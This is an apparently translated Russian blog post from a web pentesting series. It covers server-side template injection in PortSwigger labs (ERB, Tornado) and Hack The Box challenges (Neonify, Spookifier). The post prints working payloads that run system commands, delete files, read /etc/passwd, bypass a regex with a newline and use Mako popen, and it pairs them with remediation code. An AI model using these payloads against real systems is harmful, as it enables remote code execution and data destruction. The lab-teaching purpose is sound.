September 24

SSTI: Использование шаблонных движков [Complete web app pentesting series #12]

Введение

Это руководство, сочетающее тестирование методом "черного ящика" и "белого ящика", которое рассматривает уязвимости инъекции шаблонов на стороне сервера (SSTI) в двух фреймворках приложений. Первый раздел, использующий тестирование методом "черного ящика", анализирует приложение на основе Ruby и Tornado с внешней точки зрения для выявления уязвимостей SSTI путем применения фаззинга, вызова ошибок и внедрения полезной нагрузки. Далее анализ переходит к тестированию методом "белого ящика" для полного исследования исходного кода, выявления уязвимых мест, создания рабочих эксплойтов и методов безопасного программирования. Этот пост в блоге предоставляет глубокое понимание атак SSTI и методов их устранения для пентестеров и разработчиков, стремящихся укрепить защиту.

Тестирование методом "черного ящика"

1. Исследование веб-приложения

Лабораторное приложение использует параметр message в GET-запросах для отображения краткой информации о продукте на главной странице. Например, при попытке просмотреть подробности о первом продукте отображается сообщение:

"К сожалению, этот товар в настоящее время отсутствует на складе."

Это интересно, давайте попробуем отправить этот запрос в Intruder и Repeater и посмотрим, что получится.

2. Первичное обнаружение SSTI

Тестирование с математической операцией

Надежный способ подтвердить наличие SSTI — внедрить безобидную полезную нагрузку, выполняющую математическую операцию. Примеры полезных нагрузок:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

Вы можете использовать эти полезные нагрузки и провести фаззинг с помощью Intruder для проверки на SSTI.

Совет по Burp Suite: При фаззинге для SSTI вы можете использовать раздел настроек в Intruder и применить grep extract, чтобы выбрать, что отображать на экране во время фаззинга.

3. Эскалация до удаленного выполнения кода (RCE)

Использование метода system() в Ruby

После подтверждения SSTI следующим шагом является достижение удаленного выполнения кода (RCE). Согласно документации Ruby, метод system() позволяет выполнять произвольные команды операционной системы. Мы можем создать полезную нагрузку для удаления файла, например, /home/carlos/morale.txt.

Необходимая полезная нагрузка:

<%= system("rm /home/carlos/morale.txt") %>
GET /?message=<%25%3d+system('cat+/etc/passwd')+%25>

Используя эту полезную нагрузку, мы можем получить доступ к файлу /etc/passwd

Теперь немного изменим полезную нагрузку, чтобы удалить файл morale.txt:

<%= system("rm /home/carlos/morale.txt") %>

После URL-кодирования полезная нагрузка становится:

https://YOUR-LAB-ID.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>

При выполнении эта полезная нагрузка заставляет сервер выполнить команду rm, которая удаляет указанный файл. Таким образом, мы решаем лабораторное задание.

Лаборатория 1: Базовая инъекция шаблонов на стороне сервера (контекст кода)

URL лаборатории: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context

1. Исследование приложения

На сайте есть функция входа в систему и раздел комментариев к блогу. Сначала мы пытаемся проверить, можно ли отразить какие-либо полезные нагрузки SSTI, но ничего не отображается. Переходим к разделу входа в систему.

С помощью предоставленных учетных данных мы входим в систему и замечаем интересный параметр POST.

2. Выявление уязвимости

Сначала мы можем провести фаззинг полезных нагрузок, как в предыдущих лабораториях, но ничего не отображается. Тогда мы пытаемся вызвать ошибку, чтобы определить, какой шаблонный движок используется.

Если изменить имя пользователя на что-то другое, возникает ошибка. Попробуем изменить параметр user.name на что-то другое. Это должно показать ошибку, раскрывающую используемый шаблонный движок.

user.nameDoesnotexist

Это показывает, что в бэкенде используется Tornado.

3. Тестирование

Обратите внимание, что обычно в нашем сценарии полезная нагрузка SSTI должна пройти, но в данном случае мы получаем ошибку. Это означает, что код, работающий в бэкенде, выглядит следующим образом.

В шаблонах Tornado выражения заключаются в {{ ... }}. Фрагмент user.name}} просто закрывает исходное выражение для user.name. Сразу после этого можно открыть новое выражение с {{ payload }}, что заставляет Tornado рассматривать его как отдельный код. Эта техника позволяет "выйти" из существующего выражения и внедрить собственную логику шаблона.

Чтобы проверить, обрабатывается ли наш ввод на уровне шаблонного движка Tornado, мы перехватили запрос с помощью Burp Repeater и изменили параметр blog-post-author-display. Внедряем:

user.name}}{{7*7}}

После перезагрузки страницы имя пользователя отобразилось примерно так:

Peter Wiener49}}

Вывод результата вычисления (49 от выражения 7*7) показал, что наш ввод обрабатывается шаблонным движком. Этот успешный результат подтвердил наличие уязвимости SSTI.

4. Модификация эксплойта

Подтвердив SSTI, следующим шагом было развитие полезной нагрузки для удаленного выполнения кода (RCE). Язык шаблонов Tornado поддерживает включение блоков кода Python с использованием синтаксиса:

{% somePython %}

Изучив документацию Tornado и Python, мы выяснили, что можно импортировать модуль os и выполнять команды с помощью os.system(). Сначала можно использовать безобидную команду (например, whoami или pwd) для подтверждения доступа. После проверки мы модифицировали полезную нагрузку для деструктивной цели — удаления чувствительного файла (/home/carlos/morale.txt) с помощью следующей полезной нагрузки:

{% import os %}
{{os.system('rm /home/carlos/morale.txt')}}

Для корректной передачи эта полезная нагрузка должна быть URL-кодирована и внедрена путем выхода из текущего контекста выражения.

Последний шаг — отправка созданной полезной нагрузки через уязвимый параметр. В Burp Repeater мы изменили POST-запрос к /my-account/change-blog-post-author-display, установив параметр:

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')

После URL-кодирования и отправки запроса перезагрузка страницы запустила оценку шаблона. Это должно решить лабораторное задание. Вы получите перенаправление, и, следуя ему, вы завершите лабораторию.

Тестирование методом "белого ящика"

1. Neonify

Ссылка на лабораторию: https://app.hackthebox.com/challenges/Neonify

Анализ исходного кода

Рассмотрим следующий исходный код на Ruby. После скачивания исходного кода распакуйте его с паролем hackthebox, и вы найдете основной файл neon.rb в папке web_neonify/challenge/app/controllers.

class NeonControllers < Sinatra::Base
  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end
end

Что происходит?

Примечание: Sinatra в контексте Ruby — это легковесный веб-фреймворк, который позволяет быстро создавать веб-сервисы с минимальной настройкой, простой в использовании и гибкий для создания веб-приложений.

1. Настройка и маршрутизация:

Приложение определяет два маршрута: GET для отображения сообщения по умолчанию и POST для обработки пользовательского ввода.

2. Уязвимый код:

@neon = ERB.new(params[:neon]).result(binding)

Эта строка обрабатывает пользовательский ввод и компилирует его как шаблон ERB. Если злоумышленник отправит вредоносный код ERB, например:

a
<%=%x(cat flag.txt)%>

то он сможет получить доступ к файлам на удаленном сервере.

Почему регулярное выражение не работает:

Хотя регулярное выражение /^[0-9a-z ]+$/i должно ограничивать ввод, его можно обойти, используя многострочный ввод. В данном случае символ новой строки (\n) позволяет вредоносной части ввода пройти проверку.

Рендеринг вывода:

Вывод выполнения ERB (или сообщение об ошибке) отображается через шаблон erb :'index'.

Эксплуатация уязвимости

В отличие от типичного блога, я также включу свои попытки и неудачи. Этот раздел содержит описание того, что я пробовал, и возможные причины неудач.

Первая попытка:

a\n<%= %x(cat flag.txt) %>

Причина неудачи:

Специальные символы, включая новую строку \n, <, %=, > и (), находятся за пределами разрешенного набора символов. Проверка регулярного выражения применяется ко всей строке ввода, и даже после URL-кодирования она не проходит, так как содержит запрещенные символы.

Вторая попытка:

a
<%= File.open('flag.txt').read %>

Причина неудачи:

Первая строка содержит только допустимый символ a, но вторая строка включает <, %, = и >. Регулярное выражение применяется ко всей строке ввода, и запрос отклоняется из-за запрещенных символов.

Третья попытка:

<%= File.open('flag.txt').read %>

Причина неудачи:

Полезная нагрузка начинается с синтаксиса ERB и сразу вызывает ошибку, так как содержит запрещенные символы. Регулярное выражение отклоняет полезную нагрузку, и сервер возвращает сообщение "Malicious Input Detected".

Четвертая/пятая попытка:

<h1 class="glow"><%= @neon
<%= File.open('flag.txt').read %>%></h1>
<h1 class="glow"><%= a
<%= File.open('flag.txt').read %>%></h1>

Причина неудачи:

Оба запроса содержат HTML-обертку. Весь ввод, включая <h1 class="glow"> и закрывающие теги, содержит запрещенные символы (<, >, ", %). Даже с безобидным элементом (a или @neon) регулярное выражение отклоняет весь ввод.

Успешная попытка:

Рабочая полезная нагрузка (из статьи Ashique):

a
<%= File.open('flag.txt').read %>

После URL-кодирования полезной нагрузки мы смогли получить флаг:

%61%0a%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%66%6c%61%67%2e%74%78%74%27%29%2e%72%65%61%64%20%25%3e

Почему это сработало:

  • Разделение новой строкой: Полезная нагрузка состоит из двух строк: a (соответствует регулярному выражению) и вредоносный код ERB во второй строке.
  • Правильное URL-кодирование: Весь ввод, включая обе строки, объединяется в одну строку для кодирования.

Исправление уязвимости

Предложенное решение от Claude AI:

post '/' do
  if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
    @neon = Rack::Utils.escape_html(params[:neon])
  else
    @neon = "Invalid Input"
  end
  erb :'index'
end

Полный исправленный код:

class NeonControllers < Sinatra::Base
  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    # Sanitize input by using an explicit whitelist of allowed characters
    if params[:neon] && params[:neon].match?(/^[a-zA-Z0-9 ]+$/)
      # Escape the input to prevent ERB rendering
      @neon = Rack::Utils.escape_html(params[:neon])
    else
      @neon = "Invalid Input"
    end
    
    erb :'index'
  end
end

Что изменилось?

Ключевое изменение — добавление строки:

@neon = Rack::Utils.escape_html(params[:neon])

Более строгое регулярное выражение:

Регулярное выражение /^[a-zA-Z0-9 ]+$/ разрешает только буквы (верхний и нижний регистр), цифры и пробелы.

Исключение выполнения ERB:

Вместо компиляции пользовательского ввода как шаблона ERB мы теперь санитизируем его с помощью Rack::Utils.escape_html. Rack — это модульный интерфейс для разработки веб-приложений на Ruby, унифицирующий API для веб-серверов, фреймворков и промежуточного ПО.

Функция Utils.escape_html преобразует все специальные HTML-символы в безопасные сущности, например, < становится &lt;. Даже если злоумышленник попытается внедрить теги ERB, они будут отображаться как обычный текст.

Карта обработки ввода в формате Markdown

Чтобы упростить понимание обработки полезной нагрузки и работы исправленного кода, давайте рассмотрим блок-схему:

Исправленный процесс

Примечание: Блок-схемы (с использованием flowchart.fun) иллюстрируют ключевые шаги для каждой версии.

Тестирование исправления

Теперь повторно отправим полезную нагрузку и проверим, можно ли получить флаг.

При преобразовании обработки пользовательского ввода из динамической оценки ERB в безопасную замену HTML-фрагментов мы эффективно предотвращаем инъекцию шаблонов ERB. Полезная нагрузка a\n<%=%x(cat flag.txt)%> становится неэффективной и отображается как:

a
&lt;%= File.open(&#x27;flag.txt&#x27;).read %&gt;

Ответ веб-сервера показывает, что мы не можем получить флаг, а все специальные символы преобразованы в их эквиваленты HTML-сущностей.

2. Spookify

Ссылка на лабораторию: https://app.hackthebox.com/challenges/Spookifier

Анализ уязвимости исходного кода

Уязвимость возникает из-за недостаточной обработки входных данных, распределенных по нескольким ключевым файлам. При скачивании и анализе исходного кода обнаруживаются следующие файлы с уязвимым кодом:

Файл: application/blueprints/routes.py

В этом файле определен маршрут для получения текста параметра GET перед передачей данных в функцию обработки.

@web.route('/')
    def index():
        text = request.args.get('text')
        if(text):
            converted = spookify(text)
            return render_template('index.html', output=converted)
        return render_template('index.html', output='')

Файл: application/util.py

Основная логика обработки пользовательского ввода с использованием шаблонного движка Mako находится в этом файле. Уязвимость возникает из-за того, что шаблонная система принимает несанитизированный ввод.

Обработка ввода и преобразование шрифта

В application/util.py функция spookify принимает пользовательский ввод и передает его в функцию change_font:

def spookify(text):
    converted_fonts = change_font(text_list=text)
    return generate_render(converted_fonts=converted_fonts)

Функция преобразования с динамическим поиском

Функция change_font в application/util.py разбивает текст на символы и связывает их с определенными шрифтами через заранее определенные словари. Функция globals() используется для получения этих словарей.

def change_font(text_list):
    text_list = [*text_list]
    current_font = []
    all_fonts = []
    
    add_font_to_list = lambda text, font_type: (
        [current_font.append(globals()[font_type].get(i, ' ')) for i in text], 
        all_fonts.append(''.join(current_font)), 
        current_font.clear()
    ) and None

    add_font_to_list(text_list, 'font1')
    add_font_to_list(text_list, 'font2')
    add_font_to_list(text_list, 'font3')
    add_font_to_list(text_list, 'font4')
    return all_fonts

Рендеринг через шаблон Mako

Функция generate_render содержит основную уязвимость. Движок Mako использует несанитизированный пользовательский ввод для заполнения HTML-шаблона, который затем рендерится. Выражения, начинающиеся и заканчивающиеся ${...}, могут быть выполнены в этой системе.

def generate_render(converted_fonts):
    result = '''
        <tr>
            <td>{0}</td>
        </tr>
        
        <tr>
            <td>{1}</td>
        </tr>
        
        <tr>
            <td>{2}</td>
        </tr>
        
        <tr>
            <td>{3}</td>
        </tr>
    '''.format(*converted_fonts)
    
    return Template(result).render()

Любое выражение шаблона Mako, присутствующее в пользовательском вводе, может быть выполнено, так как result имеет прямой доступ к несанитизированным данным из converted_fonts. Это основная причина уязвимости SSTI.

Методология эксплуатации

Подтверждение уязвимости:

Злоумышленник может отправить безобидную полезную нагрузку, например:

${7*7}

Если вывод отображает "49", это подтверждает, что выражения шаблона оцениваются.

Доступ к модулю ОС:

Подтвердив наличие уязвимости SSTI, мы можем получить удаленное выполнение кода (RCE) для чтения /flag.txt.

Согласно сайтам, таким как HackTricks, следующая полезная нагрузка выполняет команду whoami через уязвимость SSTI:

${self.module.cache.util.os.popen('whoami').read()}

Изменим команду с whoami на cat flag.txt:

${self.module.cache.util.os.popen('cat /flag.txt').read()}

Это позволяет получить флаг.

Исправления и меры по устранению

Для устранения уязвимости рассмотрите следующие меры:

Санитизация ввода:

Необходимо использовать методы экранирования, которые обезвреживают разделители шаблонов из пользовательского ввода. Библиотека markupsafe — пример решения.

from markupsafe import escape
    
    def generate_render(converted_fonts):
        safe_fonts = [escape(font) for font in converted_fonts]
        result = '''
            <tr>
                <td>{0}</td>
            </tr>
            <tr>
                <td>{1}</td>
            </tr>
            <tr>
                <td>{2}</td>
            </tr>
            <tr>
                <td>{3}</td>
            </tr>
        '''.format(*safe_fonts)
        
        return Template(result).render()

Безопасный рендеринг шаблонов:

Пользовательские данные никогда не должны участвовать в динамическом построении строк шаблонов, так как они остаются нефильтрованными. Ввод пользователей должен использоваться как переменные шаблона с применением безопасных практик рендеринга.

Рефакторинг кода и аудит:

  • Разделяйте пользовательский контент от логики шаблонов.
  • Проводите регулярные аудиты кода на наличие аналогичных уязвимостей и применяйте строгую валидацию ввода через белые списки.

Пользователи могут изучить файлы application/blueprints/routes.py и application/util.py, чтобы понять источник уязвимости и необходимые меры безопасности для кода.

Заключение

В сценариях "черного ящика" и "белого ящика" удаленное выполнение кода (RCE) возможно через несанитизированный пользовательский ввод, передаваемый непосредственно в шаблонные движки. Мы показали, что небрежность, такая как отсутствие санитизации многострочного ввода, пропуск специальных символов или использование неверного синтаксиса шаблонов, может привести к серьезным компрометациям системы. Соблюдение лучших практик, таких как экранирование всего ввода, использование строгих фильтров регулярных выражений и разделение бизнес-логики от кода представления, может предотвратить атаки SSTI. Регулярное тестирование — как внешнее, так и внутреннее — и тщательные проверки кода делают системы надежно защищенными.

Оригинальная статья | Перевод: THREAD